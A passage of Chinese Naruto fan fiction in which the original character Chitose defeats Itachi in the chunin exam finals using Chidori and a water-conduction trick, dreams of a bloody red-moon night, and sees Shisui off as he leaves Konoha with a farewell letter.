她不断后退,气息急促,冷汗顺着额角滑落。
力量、速度、技巧、瞳力……全方位被压制。
明显的,下风。
可即便如此,她眼中没有半分怯意。
鼬越是不留情,她心中的战意便越是滚烫。
这是对伙伴的尊重,也是对自己的证明。
千岁猛地咬牙,放弃防御,以伤换伤。
她迎着鼬的苦无冲上前,左手挥出苦无直刺鼬肋下,招式狠厉,同样不留生路。
鼬眼神微凝,三勾玉瞬间预判了她的意图。
他旋身避开,同时手腕翻转,苦无精准拍开千岁的武器,手肘重重撞在她的胸口。
“咳——”
千岁闷哼一声,身体猛地向后抛飞,重重摔落在地。
苦无脱手,掌心擦破,渗出血丝。
鼬没有追击,只是静静站在原地,三勾玉写轮眼平静地望着她。
没有嘲讽,没有怜悯,只有沉重到极致的认真——
我有不能输的理由,所以,我只能对你残酷。
千岁撑着地面,一点点爬起。
肩膀刺痛,胸口发闷,一勾玉因查克拉消耗过度而微微闪烁。
她被全面压制。
可当她再次抬起头时,那双眼睛,却比任何时候都要明亮、都要倔强。
她捡起落在一旁的苦无,重新握紧。
“我不会……就这样停下。”
她轻声喘息,却字字坚定。
鼬看着她,三勾玉缓缓转动,沉默着,点了下头。
那是认可,也是宣告。
下一刻,他不会再留任何余地。
空气再次紧绷。
体术与刃具的碰撞刚刚落幕,真正的博弈,才正要开始。
没有任何花哨的铺垫,千岁脚下爆起一团尘土,身形如炮弹般直射向鼬。周身查克拉疯狂涌动,肌肉贲张——这是她最招牌的怪力突击架势,每一次发力,都伴随着震碎碎石的蛮力。
这是鼬再熟悉不过的套路。
甚至连她出拳的角度、侧身闪避的轨迹、发力前的一瞬呼吸,鼬都烂熟于心。
鼬三勾玉写轮眼瞬间看穿了她的意图。
他没有后退,反而主动向前一步,迎向了千岁的冲锋。
拳头与鼬的查克拉防御狠狠相撞,巨大的反震力让千岁整个人向后倒飞出去数米。
又是一次碾压。
千岁在空中翻滚卸力,稳稳落地,心中却是一沉。
差距比想象中更大。
鼬的体术经验、查克拉的控制力、甚至对力量的运用理解,都在她之上。
她没有退缩。
千岁再次冲锋,这一次她放弃了防御,迎着鼬的苦无直冲,意图用更迅猛的怪力强行撕开他的防线。
鼬侧身避开,手腕翻转,又是一记凌厉的肘击撞向千岁的肋下。
“咳!”
千岁闷哼一声,感觉五脏六腑都移了位,身体瞬间软倒。
她在第一时间用手撑住了地面,才没有彻底摔倒。
下风。
非常明显的下风。
体术交锋的余波尚未散去,千岁狼狈地退到赛场边缘。
她的右臂因刚才硬碰硬的格挡而发麻,虎口被震得裂开渗血,胸腔起伏剧烈,体能已在飞速消耗。
反观鼬,依旧伫立在中央,他的三勾玉写轮眼冷静地扫视着千岁,目光透彻,仿佛早已将她的招式与弱点剖析得淋漓尽致。
是啊,怪力、体术……这些鼬最熟悉不过的手段,已经被他彻底预判。再用同样的招式,只会被理所当然地碾压。
她缓缓握紧掌心,那里藏着一张卡卡西老师亲手教给她的牌。
千鸟。
卡卡西曾严肃告诫她,这是忍道尽头的王牌,是孤注一掷的杀招。
“信息差是忍者决胜的关键。鼬太懂你了,你要用他从未见过的东西,去打破他的预判。”
脑海中闪过老师的声音,千岁眼底深处,一丝狡黠的火光悄然亮起。
鼬……你还没看过我的新招式呢。
千岁深吸一口气,压下翻涌的查克拉,重新摆出了战斗姿态。
这一次,她没有隐藏身形,反而直接加速,周身肌肉贲张,右手高举凝聚蛮力的拳头,那是她最招牌的怪力突击架势。
这是鼬无数次与她并肩作战、最熟悉的攻式,甚至连发力的角度与呼吸节奏,他都了如指掌。他没有闪避,反而主动迎上,手腕翻转,数枚巨大的风魔手里剑瞬间脱手而出!
风车状的利刃划破空气,带着呼啸的风声,不仅封
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死了千岁的所有退路,更意图在她近身之前,将其彻底绞杀。
这是绝对的压制!
全场瞬间倒吸一口冷气。
“完了!躲不开的!”
“这就是宇智波鼬的实力吗?完全碾压啊!”
众人屏息,都以为这一击便是千岁的终局。
千岁瞳孔骤缩。
风魔手里剑的范围极大,以她此刻的体能,根本无法硬接。
但面对这致命的风刃阵,千岁的嘴角,却勾起了一抹决绝的笑。
——就是现在。
信息差的时刻,到了!
在风魔手里剑呼啸而至的刹那,千岁骤然变招。
原本势大力沉的怪力拳锋瞬间收敛,她周身的查克拉流转轨迹竟在一瞬之间彻底改变!
没有了怪力压制,她的身形反而变得异常轻盈灵活,堪堪避开了风刃的最外圈。
“鼬……看好了!”
千岁双目一凝,那一勾玉写轮眼疯狂旋转,燃烧着熊熊战意。
她不再试探,不再保留,将体内所有残存的查克拉尽数汇聚于指尖!
淡蓝色的雷电光芒在掌心瞬间暴涨,刺耳的雷鸣声轰然炸响!
“千鸟——!!”
那是卡卡西最引以为傲的雷遁忍术,也是她从未在鼬面前展示过的底牌!
砰——!!!
千鸟的雷暴,与风魔手里剑的疾风轰然碰撞!
没有想象中的被利刃贯穿,也没有身体被撕裂的惨状。
只见千岁手持千鸟,如同一道划破黑暗的蓝色闪电,硬生生从中穿透!
清脆的碎裂声在全场爆响。
那几枚足以致命的风魔手里剑,在千鸟纯粹而狂暴的雷遁查克拉面前,竟如同脆弱的瓷器,瞬间被绞得粉碎!
金属碎片在空中四溅,甚至还没来得及落地,便被雷电余温烧成了灰烬。
千岁的身影毫发无损,带着千鸟的雷霆之势,瞬间突进到了鼬的面前!
这一刻,整个赛场彻底死寂。
连风中的尘埃都仿佛凝固了。
所有人的目光,都死死钉在那道蓝色的雷电之上,瞳孔剧烈收缩。
——那是……
——是卡卡西上忍的招牌忍术!
——千鸟?!
观赛区
猿飞日斩原本从容的神色瞬间一凝,他猛地向前俯身,目光灼灼地盯着赛场中央的雷光,沉声自语:“这是……卡卡西的招数?”
一旁的不知火玄间叼着千本的手微微一顿,神色罕见地露出了惊讶与疑惑:“她是什么时候……学会的这招?”
赛场上的人群彻底炸开了锅。
“千鸟?那不是旗木卡卡西的术吗?怎么会出现在一个木叶下忍手里?”
“我看错了吗?她居然用千鸟击碎了风魔手里剑?”
所有人都惊呆了,万万没想到,看似必败的局面,竟被千岁用这一手从未见过的招式彻底扭转!
而在宇智波一族的观赛区
宇智波枭目光沉沉地扫了一眼卡卡西的方向,眼神复杂难辨。
他微微眯起眼,心中微动:没想到……卡卡西竟然把这一招,亲手交给了自己的女儿。
决斗场上
鼬的三勾玉写轮眼第一次出现了明显的波动。
他没能预判这招。
在他的认知里,千岁的招式只有怪力与太刀。
这突如其来的雷遁,是绝对的未知。
千鸟的雷光映亮了鼬冷峻的侧脸,也映亮了千岁那双因极度兴奋而发光的眼睛。
千岁高高举起凝聚了雷遁的拳头,鼻尖几乎贴着鼬的护额,呼吸急促,声音带着颤抖却无比清晰:
“鼬……这一次,轮到我了。”
“我不会输。”
鼬看着那近在咫尺的雷光,眼底勾玉翻涌,他微微侧身,勉强避开了千鸟的一击,同时手腕翻转,一枚苦无无声无息地刺向千岁的肋下死角!
75.第75章 决赛 千歲vs鼬 3
千鸟炸裂的雷光还在空气中震颤。
鼬被那记突如其来的雷遁逼得仓促后撤,脚步在地面划出两道浅痕。
他第一次真正停下了动作。
三勾玉写轮眼微微收缩,原本平静无波的眼神里,终于泛起了清晰的震动。
他以为自己早已看透千岁的一切。
怪力、太刀、体术、刃具……
他以为这场对决,不过是按部就班的碾压。
可刚才那道雷光——
那是他完全没有预料、没有记录、没有防备的未知忍术。
鼬缓缓抬起头,目光重新落在千岁身上。
这一次,他的眼神变了。
不再是对待同伴的温和,不再是轻松的试探,而是真正面对强敌时才会露出的、毫无保留的认真。
“前辈……原来隐藏实力了吗。”
他轻声开口,语气低沉,带着前所未有的凝重。
“看来,我不能再有所保留了。”
话音落下的瞬间,鼬的查克拉骤然暴涨。
风压在他周身卷起,发丝狂乱飞舞,整个人的气场彻底变了。
——他终于拿出全力。
赛场之上,气氛瞬间冻结。
鼬双手猛地结印,速度快到只剩下残影。
“火遁·豪火球之术!”
巨大的火球轰然喷发,烈焰席卷半个赛场,高温让空气扭曲,连地面都被烤得开裂。
千岁瞳孔一缩,立刻侧身翻滚,险之又险避开。可她还没站稳,鼬的第二波攻击已经降临。
“风遁·镰鼬!”
狂风化作无数锋利的风刃,如同暴雨般横扫而来,封住她所有闪避路线。
火借风势,风助火威,火遁与风遁完美配合,形成毁灭性的组合忍术。
这才是宇智波鼬真正的实力。
观众席一片惊呼。
“他认真了!鼬认真了!”
千岁被逼到绝境,冷汗浸透衣衫。
但她没有退,反而迎着风火狂岚,猛地咬牙冲了上去。
“既然你全力,那我也不会输!”
她左手怪力轰然砸向地面,震起大片尘土遮挡视线,右手掌心再次亮起刺眼的雷光。
“千鸟!”
雷鸣炸响,蓝色雷电在她手中狂舞。
千岁不退反进,顶着狂风与热浪,以千鸟硬撼风遁之刃!
砰——!!
雷电与风刃碰撞,冲击波向四周狂扫。
千岁被震得气血翻腾,却依旧死死咬牙,借着冲击力突进,怪力拳头带着雷霆,直逼鼬身前。
鼬眼神一凝,立刻结印。
“火遁·凤仙火之术!”
数道小火球如同子弹般密集射出。
千岁左闪右避,千鸟在手中不断炸裂,将迎面而来的火焰一一击碎。
雷光与火光交织,整个决斗场被照得忽明忽暗。
她每一次突进,都用怪力撕开防线。
每一次遇险,都用千鸟强行破局。
鼬的忍术越来越快、越来越猛、越来越致命。
火遁连绵不绝,风遁锐利如刀,双遁切换自如,配合三勾玉的预判,几乎无懈可击。
而千岁也越战越勇。
怪力轰碎大地,千鸟撕裂忍术,一勾玉写轮眼虽弱,却凭着拼命的意志死死咬住鼬的动作。
两人在赛场中央高速交锋。
忍术轰鸣,体术碰撞,雷光与火焰交织,风啸与雷鸣齐响。
一招比一招狠,一式比一式烈。
局势彻底进入白热化。
整个木叶竞技场都在震动。
所有人都站了起来,屏息凝视,连呼吸都不敢大声。
谁也没想到,一个一勾玉的宇智波少女,竟然能把三勾玉的天才鼬逼到这种地步。
可就在这场最激烈、最燃、最关键的战斗巅峰时刻——
千岁眼角余光,再次下意识扫向观众席。
那个她最想让他看见自己战斗的人。
那个答应过一定会来的人。
……依旧没有出现。
止水,还没来。
心头那一丝不易察觉的失落,被她强行压下。
不能分心。
不能倒下。
必须继续战。
千岁握紧千鸟,眼神比任何时候都要坚定、都要疯狂。
“鼬,再来!”
“我不会在这里停下!”
鼬看着她燃烧般的眼神,三勾玉微微颤动。
他也沉下声,一字一句:
“我也一样。”
暗部总部
与此同时,木叶暗部总部的长廊里,气氛冰冷而肃穆。灯火昏暗,人影稀疏,只有查克拉流动的微弱气息在空气中浮动。
宇智波止水站在交接台前,指尖飞快地签署着文件,每一笔都利落干脆,却难掩掌心微微的紧绷。
暗部的任务交接繁琐而严谨,情报核对、任务报告、忍具清点、封印术确认……一环都不能出错。平日里从容淡然的止水,此刻眉宇间却凝着一层难以掩饰的焦灼。
他不断抬眼,望向窗外竞技场的方向。
隐约能听见远处传来阵阵轰鸣与欢呼——那是中忍考试决赛的声响。
他和千岁约好了。
答应过她,一定会去看她的对决。
可眼下这堆必须由他亲自完成的交接手续,像锁链一样将他牢牢捆在原地。
“止水,卧底人员资料,需要你再核对一次。”
一旁的暗部同僚平静开口,语气不带情绪,却是不容推脱的规矩。
止水微微颔首,声音依旧沉稳,却快了几分:“我知道,马上好。”
他快速扫过卷轴上的封印纹路,查克拉轻轻一探,确认无误后迅速落笔。
笔尖划过纸张的声音,在安静的暗部总部里显得格外清晰。
每多停留一秒,他的心就往下沉一分。
千岁现在……应该已经上场了吧。
她会不会在找我?
会不会因为我没到,而感到不安?
他比谁都清楚,那场对决是她期盼已久的舞台。她等着他,就像等着一份最坚定的支撑。
止水深吸一口气,强行压下心头的急躁,以最快速度完成剩下的流程。忍具箱咔嗒一声合上,情报卷轴彻底封印,任务台账逐一确认完毕。
最后一笔落下。
“全部交接完毕。”
止水合上文件夹,语气终于松了一丝,却带着不容置疑的急促,“剩下的善后,麻烦你们了。”
不等对方回应,他已转身迈步。
止水没有丝毫停留,身影一闪,便朝着竞技场的方向急速赶去。
心底只有一个念头:
再快一点。
一定要赶上。
一定要,亲眼看到她战斗的样子。
长廊尽头,光明渐亮。
赛场的轰鸣越来越近。
止水的脚步,从未如此急切。
决斗场
赛场中央,雷光与烈焰的狂潮尚未平息。
千岁与鼬各自对峙,衣衫皆被汗水浸透,喘息声在死寂的赛场里格外清晰。
方才一轮忍术对轰,两人都已耗去大半查克拉。
千岁的一勾玉写轮眼微微发颤,四肢因连续使用怪力与千鸟而酸胀发麻,每一次呼吸都带着灼烧般的痛感。她被逼到了体能与意志的双重极限,眼前甚至开始微微发黑。
而鼬,三勾玉依旧冷静旋转,气息虽乱,眼神却愈发锐利。
千鸟的突袭,彻底打破了他所有预判。
眼前的前辈,早已不是他印象中只会怪力与太刀的同伴。
“你真的很强,前辈。”
鼬低声开口,语气里没有半分轻视
“但到此为止了。”
话音落下的刹那,鼬的身影骤然一分为三。
影分身之术!
三道一模一样的身影呈三角之势,瞬间将千岁死死包围。
同时,鼬本体双眼微眯,三勾玉光芒暴涨——
幻术,无声开启。
没有视觉冲击,没有咒印缠绕,却在一瞬间侵入千岁的精神世界。
周遭的空气骤然扭曲,赛场、观众、光影全部变得模糊摇晃,耳边的轰鸣化作尖锐的耳鸣,脚下的地面仿佛在不断塌陷。
一勾玉写轮眼的瞳力,根本无法抵挡三勾玉的幻术侵蚀。
“唔……!”
千岁闷哼一声,脑袋一阵剧痛,视线瞬间混乱。三道鼬的身影同时动了,苦无与火遁同时袭来,分不清真假,辨不出虚实。幻术混淆感知,影分身封锁走位,这是鼬压箱底的组合杀招。
绝境。
真正的绝境。
观众席上一片惊呼,富岳眉头紧锁,枭眼神沉冷,卡卡西指尖微紧,所有人都以为,千岁这一次再也躲不开了。千岁的意识在幻术里挣扎,身体却凭着本能与执念疯狂运转。
她不能输。
不能在这里倒下。
止水还没来,她答应过要撑到他出现。
父亲、老师、同伴……所有人都在看着她。
就在苦无即将触及她咽喉的刹那——
千岁猛地咬破舌尖,剧痛强行将她从幻术中拽回一瞬。
就在这时,千岁的脑海里,突然炸开了卡
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卡西严肃的叮嘱。那是出发前,老师特意拉着她,一字一句说的话:
“千岁,鼬的天赋不止火遁与风遁。
他的写轮眼,能复制一切非血继限界的忍术。
你别忘了——他,很可能会用水遁。”
千岁当时一怔:“水遁?”
“没错。”卡卡西的眼神无比凝重,“忍术之间存在天生克制。火克风,水克火,土克水,雷导电……一旦鼬用水遁,你千万不能慌。那一天,会成为你最大的机会。”
机会……
就在回忆闪过的刹那。
鼬动了。
他双手在胸前飞速结印,速度快到残影重叠,三勾玉写轮眼爆发出刺目的红光。
那是复制的印记。
那是掠夺而来的术。
“水遁·大瀑布之术!”
轰隆——————!!!
狂暴的水流从鼬身前轰然爆发,巨浪滔天,如同海啸般席卷整个决斗场!奔腾的水量瞬间淹没地面,朝着千岁无情吞噬!
观赛区一角,长十郎猛地站起身,瞳孔骤缩,失声惊呼:
“那是……我的水遁?!他居然复制了我的招式!”
全场哗然。
谁也没想到,宇智波鼬,竟然藏了一手水遁大瀑布。
巨浪席卷而来,冰冷的水流瞬间漫过脚踝、膝盖、腰腹。
千岁站在水中,一动不动。
她没有躲,没有退,没有丝毫慌乱。
这一幕,让所有人心脏骤停。
不知火玄间猛地攥紧千本,脸色惨白:“为什么不躲开!?被正面击中的话,她会死的!”
由里香死死抓住栏杆,声音发颤:“千岁……你在干什么!快逃啊!”
水流越来越大,越来越深,几乎要将她整个人吞没。鼬站在水幕中央,他把最后的查克拉赌在这一招上,眼神平静,准备迎接这一击的终结。
可他不知道。
千岁等的,就是这一刻。
就是现在——
水漫全场、无处可逃、避无可避的时刻。
她眼底骤然亮起最后的光芒,用尽全身力气,结下此生最坚定、最决绝的印。
“土遁·土流壁!!”
轰隆——————!!!
厚重无比的岩石高墙,从水面之下轰然拔地而起!不是单面防御,而是环形合围!
巨大的土壁瞬间将整片水域、将鼬、将所有水流,死死圈在中央!
封闭。
隔绝。
水被牢牢锁在土流壁之内。
猿飞日斩瞳孔一缩:“土遁?她竟然还藏了土遁!”
不知火玄间握着千本的手一顿:“双重底牌……这孩子,到底藏了多少东西。”
宇智波枭望着赛场中央那道高耸的岩壁,眼底第一次掀起剧烈波澜。
卡卡西微微垂眸,露出一丝释然的浅笑。
外界瞬间看不见里面的任何景象。
全场观众齐刷刷站起,屏息到窒息。
土流壁顶端,一道身影一跃而上。
是千岁。
她站在岩壁最高处,浑身湿透,摇摇欲坠,却像一轮不肯熄灭的太阳。
她已经用完了两次千鸟。
经脉剧痛,查克拉濒临枯竭,生命在警戒线边缘疯狂跳动。
她低头,望着土流壁内,那片被封锁的汪洋。
一个无人敢想、无人敢做、只有她敢赌的战术,在此刻爆发。
水,导电。
雷,遇水则灭顶。
鼬用他复制的水遁,亲手为自己制造了最致命的牢笼。
千岁抬起颤抖的右手,将体内最后、最滚烫、最不顾一切的查克拉,全部点燃。
“……千鸟!”
淡蓝色的雷光在掌心炸裂,雷鸣响彻云霄。
这是她的第三次千鸟。
是赌上性命的最后一击。
没有俯冲,没有突进。
只是微微俯身,将掌心的雷电,狠狠导入脚下的土流壁,导入壁内的汪洋之中。
雷遁遇水。
瞬间——
全覆盖·无死角·导电绝杀!
壁内传来闷雷般的轰鸣。
水花狂跳,雷光暴走。
土流壁合围的水域之内,鼬的身影被雷光彻底吞没。
占上风的人,从这一刻,彻底逆转。
而竞技场入口处,一道气喘吁吁的身影,终于冲破大门。
宇智波止水,赶到了。
他抬眼望去,只看见那道屹立在土流壁之巅、手握雷光的少女。
那是他拼了命,也要赶来见证的模样。
76.76章 止水 我赢了
巨浪与雷光的轰鸣渐渐平息。
土流壁之内,水被雷电照得通明,波光粼粼之下,是鼬狼狈不堪的身影。
他被雷遁彻底笼罩,全身发麻,查克拉紊乱到几乎溃散。
那是水导电的绝对绝杀,是千岁借他的水遁反杀的巅峰之战。
鼬咬牙,拼尽最后一丝意志,强行调动濒死的查克拉。
“土遁……土流洞!!”
轰隆——!!
大地从他脚下轰然裂开,巨大的洞口如巨兽之口般张开,他整个人瞬间坠入,身体贴着泥泞的地底一路滑出赛场。借土遁逃生。
而赛场之上,千岁站在土流壁顶端,浑身湿透,摇摇欲坠。
查克拉……完全耗尽了。
连站着的力气,都几乎是靠一口气硬撑着。
她低头,看着脚下渐渐平静的水面,看着鼬从视野中消失的痕迹。
喉咙里发涩,心脏狂跳。
“我……赢了吗……”
战斗结束了?
真的……赢了吗?
就在这时——
一道身影毫无预兆地从侧面闪现,一记势不可挡的飞踹,直逼千岁面门!
千岁浑身汗毛倒竖,几乎是本能地抬手格挡。
是鼬。
他从地底逃出来,趁她完全脱力的瞬间,再一次发动了突袭。
气氛,瞬间再入冰点。
全场观众倒吸一口冷气。
两人都查克拉耗尽了。
能用来战斗的,只剩纯粹的体术,只剩最后的意志。
鼬身形一晃,肘击直袭千岁肋侧。千岁咬牙,凭着本能侧身,用手臂硬抗。
闷响。
剧痛。
千锤百炼的怪力,此刻只剩最后几成力道。
千岁挥拳,鼬格挡。
力量差距明显,千岁被震得连连后退。
体术交锋不过短短几秒,千岁便被逼到了极限。
她的手在抖,呼吸紊乱,视线发黑。
每一次碰撞,都让她感觉身体要散架。
“要倒了……”
千岁眼前一片雪白,身体摇摇欲坠。
她真的,快撑不住了。
就在她即将栽倒的瞬间——
她视线的边缘,终于穿透烟尘,看到了那道气喘吁吁、目光坚定的身影。
止水。
他来了。
他终于,在这场战斗的最后关头,站在了观众席上。
止水的目光,紧紧落在她身上。
那眼神里,有心疼,有焦急,更有……无声的鼓励与信任。
就是这一眼。
千岁心里那根紧绷到极致的弦,猛地一颤。
不能倒。
不能输。
止水好不容易来了,我要让他看到,我赢的样子。
她猛地吸了一口气,硬生生把即将倒下的身体撑了回来。
第四次千鸟。
卡卡西说过,会死人。
但我不想输。
这一瞬间,她眼底亮起决心。
右手抬起,将体内那早已枯竭、靠意志硬挤出来的最后查克拉,强行点燃。
“千……鸟!!”
雷光再次在她掌心亮起。
微弱,却带着不死不休的意志。
而鼬。
查克拉早已见底。
他看着千岁掌心亮起的雷光电光,眼神决绝。
他也拿出了最后的一枚苦无,攥在掌心。
他将最后一点查克拉,全部灌进其中。
两人同时动了。
千岁握紧千鸟,迎着雷光冲上去。
鼬握紧苦无,以命相搏。
这一击,决定生死,没有退路,是两人都停不下来的死亡对决。
千鸟即将穿透鼬的胸膛,苦无即将刺破千歲的心脏。
宇智波枭,在观众席上猛地站起。
脸色瞬间变得冰冷严厉。
他不在乎输赢。
只要女儿活着。
他随时会冲上去干预。
但下一秒——
千岁脑海中,突然响起卡卡西的声音。
“我教你千鸟,是为了让你保护自己、保护同伴。不是为了对你的同伴,使出这招。”
同伴……
她看着鼬。
看着他眼中的红影,看着他此刻的狼狈与决绝。
那一瞬间,陌生的记忆又撞入了她的脑海。
红月之夜。
陌生又熟悉的鼬的脸,
只是他的写轮眼图案和平时不同,
和现在的情形一模一样,面前那张鼬的脸和脑海中记忆里那张脸不断重合,强攻而来。
只有一瞬,她又在记忆里看到了那双万花筒写轮眼里留下的眼泪。
“对不起…对不起…”
颤抖的男声在耳边响起。
这是谁的声音。
是鼬
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。
不,他的身形比鼬要高出很多,但是那张脸,分明就是鼬的脸。
这到底是谁的记忆。
鼬,为什么要哭。
千岁顾不上这一段陌生的记忆。
可男人哭泣的声音把她从渴望胜利的欲望里拉了回来。
她和鼬是同伴。不是敌人。
千岁心脏猛地一缩。
千鸟的指尖,查克拉瞬间收敛。
雷光消失。
她换成了——普通的拳头。
纯粹的怪力。
纯粹的意志。
而鼬,在那一瞬间,也看清了她眼底的释然。
他顿住了。
苦无没有刺出。
他松开了手。
两人同时——
以拳头,相向重击!!
砰——!!!
体术对撞,力量对等到极致。
两人如同被冲击波狠狠弹开。
千岁撞在身后的土流壁上。
鼬也撞在另一侧的护栏上。
两人同时倒地。
全场,瞬间死寂。
所有人都愣住了。
这是什么?
平手?
同归于尽?
还是……
谁先站起来,谁就是赢家。
千岁趴在地上,胸口剧烈起伏。
她的手已经软到抬不起来。
可她记得。
从小到大。
从童年到现在。
她每一次的胜利,都是靠自己的拳头。
她从来没在力气上输给过任何人。
纲手大人说过——
怪力,是我为你打造的最强武器。
她用尽最后一丝力气。
手指颤抖。
一点点撑起身躯。
她抬起头,看向赛场中央。
看向那个倒在地上、再也站不起来的鼬。
她做到了。
她真的做到了。
一旁的主考官也愣住了,看着早已晕过去的鼬,他大声宣布;
“胜者——”
“木叶,宇智波千岁!”
声音回荡在整个竞技场。
全场瞬间爆发出震耳欲聋的欢呼。
而千岁,也在这欢呼声中。
彻底脱力,倒了下去。
最后,她眼里看到的,是止水急忙奔来的身影。
止水,我赢了。
77.第77章 止水的信
红月之夜。
血月如轮,将整个世界染成死寂的暗红色。
千歲站在佛堂中央,右手千鸟的雷光在暗红里跳动着蓝色的锋芒,雷鸣声声,仿佛生命最后的咆哮。
对面的男人,与她面对面而立。
右手持刀,映着红月的色泽宛如寒血。
千歲的手微微颤抖。
第四次千鸟,已耗尽她身内所有查克拉,更赌上了性命。
可此刻,她看着那双写满痛苦与自责的红瞳,心里像被硬生生撕开一块。
她收回了千鸟。
雷光瞬间熄灭。
她不想杀他。
在最后一刻,她选择了同伴。
可是——
男人没有收回刀。
刀刃寒光一闪,毫不犹豫地刺穿了她的胸膛。
噗——
鲜血飞溅。
滚烫的红色落在男人脸上,落在他微颤的睫毛上,也溅在了身后那尊巨大的佛像金箔之上,顺着佛像垂落的眼眉,缓缓流开。
千岁倒在地上。
眼前的世界开始恍惚、重影、碎裂。
她视线模糊间,只看到那尊佛像垂着眸,静静地望着她。
那目光,既慈悲又冷漠。
“神明大人……”
千岁声音微弱,“求求你…”
“救救我…”
身后的男人缓缓举起刀刃。
那把白刃,在红月下显得格外冰冷。
千岁艰难回头。
男人泪流满面。
一滴、两滴、更多的血与泪混合着落下。
“对不起……对不起……”
他一遍遍地重复,声音破碎,像在承受无法忍受的痛苦。
为什么要哭?
他……是鼬吗?
就在这一瞬间——
千岁猛地睁开眼。
白色的天花板。
干净的、平静的、没有血也没有月光的房间。
她剧烈地喘息着,胸口起伏,手心全是冷汗。
刚刚的梦。
如此真实。
如此逼近。
令人窒息得,连灵魂都在发抖。
千岁茫然环顾四周,病房里空荡荡的,只剩一片刺目的白。记忆骤然回笼——中忍考试、那场与鼬的死斗、最后一击的对拳、轰然倒地的失重感……
她甚至还不知道最终的结果。
心头一紧,她再也按捺不住,抬手直接拔掉手背上的输液针,针尖刺破皮肤,细微的疼痛也全然不顾。
她穿着宽大单薄的白色病号服,跌跌撞撞地冲出病房,脚步虚浮,每一步都像是踩在棉花上。
视线里,终于出现了一道熟悉的身影。
“由里香!”
千岁不顾一切冲上前,“中忍考试……结果呢?”
由里香被她吓了一跳,连忙扶住她摇摇欲坠的身体:“你疯了?身体都还没好!”
“别管这些了,快告诉我,后面到底怎么样了?”千岁急切地追问。
由里香无奈地叹了口气,眼底却带着笑意:“你啊,眼里就只有考试。
你赢了,而且,你和鼬两个人,都成功晋升中忍了。”
一句话,让千岁紧绷的身体骤然松垮,眼底终于亮起劫后余生的光亮。
“太好了……”她虚弱地喘息,嘴角微微扬起。
“看你这副样子,”由里香轻轻摇头,“我估计,止水是彻底放不下心,更不可能安心离开木叶了。”
千岁猛地一僵:“……离开木叶?止水?什么意思?”
“你不知道吗?”由里香愣住,“他被调往边境,今天,就是启程的日子。”
世界仿佛在这一刻静止。
止水要走……
他从来没有跟她说过。
这一个月,她满心都是中忍考试,只顾着修炼变强,却连他在忙些什么、承受着什么,都没有好好问过一句。
愧疚、慌乱、不舍,瞬间将她吞没。
千岁再也顾不上身体的虚弱,挣开由里香的手,发了疯一般朝外冲去。
医院的长廊、喧闹的商业街、平坦的街道、陡峭的石阶……
她一路跌跌撞撞,摔倒了又爬起,膝盖擦破了,发丝凌乱了,查克拉尚未恢复,每一步都痛得钻心。
止水,你怎么能说走就走……
怎么能不告诉我。
她一路狂奔,终于冲到宇智波止水的府邸门前——宇智波镜的老宅。
她像从前无数次那样,对着院子里急切大喊:
“止水!止水!你出来!”
可回应她的,只有一片死寂。
片刻后,大门缓缓推开一道缝隙,宇智波镜苍老的身影出现在门后。
“镜爷爷,止水呢?!他在哪里?!”千岁抓住他的手臂,声音抖得不成样子。
镜爷爷没有多言,只是从怀中取出一封折得整齐的信,轻轻放在她颤抖的手心。
“这是止水嘱咐我交给你的,他说,你醒来后,一定会来。”
千岁怔怔地握着信,指尖冰凉。
老人顿了顿,目光温和,却带着一语点醒的意味:
“他……刚走没多久,现在或许,还没走远。”
千岁猛地抬头,眼里瞬间重燃火光。
“镜爷爷,我先走了,回头再来谢谢您!”
她甚至来不及拆开信看一眼,转身便朝着木叶村口的方向,疯了一般狂奔。
一定要赶上。
一定要见到他。
这条路,她走过无数次,却从来没有一刻觉得像现在这样漫长。
脑海里翻涌的,全是止水的模样——
他的笑、他的温柔、他挡在她身前的背影、他轻声安慰她的语气。
止水…止水…止水…
心脏一瞬间疼得无法呼吸。
终于,她冲到了村口。
远远的,人群之中,那道熟悉得不能再熟悉的少年身影。
是止水。
千岁再也抑制不住,用尽全身所有力气,撕心裂肺地大喊:
“止水——!!”
前方的少年身形骤然一顿。
他缓缓转过身。
四目相对的那一瞬,时间仿佛被无限拉长。
千岁张了张嘴,却突然一个字也说不出来。
记忆轰然炸开。
她终于想起来了。
花火大会,自己喝醉的那天夜里,她轻声对他说的每一句话——
“止水想做的事,就去做吧。”
“去变得更强。”
“不管你在哪里,我一定会找到你。”
原来,她早就支持过他的决定。
只是连日的疲惫与昏迷,让她暂时遗忘了。
她想冲上去质问为什么不早一点告诉自己,可脑海里突然出现的,是纲手说过的话:
“过于依赖的羁绊,只会阻挡你变强。你太过于依赖别人了。”
一直以来,
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她都依赖止水,从未真正独当一面过。
千岁停住了要冲上去的脚步。
这份羁绊,对于止水来说,到底是怎样的。
这样真的好吗。
止水说过,他想变强。
我也无法阻止他追求自己的道路。
那样的止水,绝对不会停下。
而我,也不会。
身后,同队的忍者已经在催促启程。
止水的目光深深落在她身上,只有短短几秒也好,他想最后看看千岁的样子。
他只希望千岁不要哭,不然他更没办法离开木叶了。
可千岁没有哭。
没有闹。
没有冲上去抱住他不让他走。
她只是站在原地,
压制住内心的不舍,
强忍住要流出来的眼泪。
用尽最后一丝力气,
扬起一个苍白却坚定的笑容,朝着他,大声喊道:
“一路顺风——!!”
止水愣住了。
随即,眼底涌上一层释然与心疼。
他最后朝着她挥了挥手,做了最不舍的道别。
然后,转身。
踏上前往边境的路。
一步,两步,三步……
再也没有回头。
风卷起少年的衣角,渐渐消失在村口的远方。
只留下千岁一个人,站在风中,握着那封未拆的信。
直到风一吹,凉意从脚底窜上来,她才猛地一怔,缓缓低下头。
自己……竟然连鞋子都忘了穿。
病号服单薄,赤脚踩在粗糙的石子路上,硌得生疼,可她却像是毫无知觉。
她慢慢转过身,一步一步,赤脚走回木叶的街道。
她展开了止水留给她的信。
字迹干净利落,却藏着他从未说出口的温柔:
致千岁:
恭喜你,晋级中忍。
那场比赛,我看到了。
虽然晚了一点,
但我看到了千岁最帅气的模样。
真的很耀眼,比任何时候都要耀眼。
抱歉,没和你道别就走了。
任务紧急,没办法等你醒来。
我怕我会舍不得,怕看到你就走不了。
以后在木叶,要乖乖吃饭睡觉。
我不在的日子里,你要保护好自己。
遇到难办的事,
就像以前那样,在心里喊一声“止水”。
我会听到的。
答应我,好好活着。
等我任务结束,一定回来。
到时候,我想看看,变得更强的千岁,是什么模样。
我一直都在。
别害怕。
——止水
信很短。
很短。
可每一句,都像是一只温柔的手,轻轻揪住了千岁的心脏。
“坏止水…最后写信也不多说点…”
千岁肩膀剧烈颤抖。
她不敢发出声音,怕一开口,就是止不住的哽咽。
